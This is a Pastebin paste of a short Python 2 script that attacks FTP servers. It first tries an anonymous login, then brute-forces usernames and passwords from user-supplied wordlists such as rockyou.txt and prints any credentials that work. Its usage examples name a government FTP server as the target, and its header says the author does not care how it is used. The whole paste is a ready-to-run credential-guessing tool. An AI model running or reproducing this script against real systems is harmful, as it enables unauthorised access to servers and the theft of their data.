Advertisement
Guest User

Untitled

a guest
Oct 9th, 2016
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.98 KB | None | 0 0
  1. #!/usr/bin/python
  2. ####################################################################
  3. # By: Akeyla420 w/ google-fu
  4. # This code is for educational purposes, GNU or someshit.
  5. # Please don't use example target, or do, idgaf, just not from my IP
  6. # ##################################################################
  7. import ftplib
  8. import sys
  9.  
  10. print "_____________________________________"
  11. print " ____ ____ ____ "
  12. print " ( ___)(_ _)( _ \ "
  13. print " )__) )( )___/ "
  14. print " (__) (__) (__) "
  15. print " ___ _____ __ ____ ___ ____ "
  16. print " / __)( _ ) /__\ (_ _)/ __)( ___)"
  17. print "( (_-. )(_)( /(__)\ )( \__ \ )__) "
  18. print " \___/(_____)(__)(__)(__) (___/(____)"
  19. print "_____________________________________"
  20. print ""
  21.  
  22.  
  23. if len(sys.argv) != 2 and len(sys.argv) != 4:
  24. print "Syntax: ftpgoatse <target> #For anonymous login attempt only"
  25. print "Syntax: ftpgoatse <target> <userlist> <wordlist> #Bruteforce"
  26. print "Example: ftpgoatse ftp.fbi.gov"
  27. print "Example: ftpgoatse ftp.fbi.gov userlist.txt rockyou.txt"
  28. quit()
  29.  
  30. print "Searching for the gaping hole..."
  31.  
  32. print "Attempting anonymous login to " + sys.argv[1]
  33. try:
  34. ftp = ftplib.FTP(sys.argv[1])
  35. ftp.login("anonymous", "anonymous")
  36. ftp.retrlines('list')
  37. ftp.quit()
  38. print "Anonymous login successful!"
  39. print "User = anonymous, password = anonymous"
  40. quit()
  41. except Exception, e:
  42. print "Anonymous login unsuccessful"
  43.  
  44. if len(sys.argv) == 4:
  45. users = open(sys.argv[2], 'r')
  46. for user in users:
  47. passwords = open(sys.argv[3], 'r')
  48. for password in passwords:
  49. try:
  50. ftp = ftplib.FTP(sys.argv[1])
  51. ftp.login(user.rstrip(), password.rstrip())
  52. ftp.retrlines('list')
  53. ftp.quit()
  54. print "Goat hole found!"
  55. print "User = " + user + "Password = " + password
  56. quit()
  57. except Exception, e:
  58. print "Failed"
  59. print "Gaping hole not found...
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement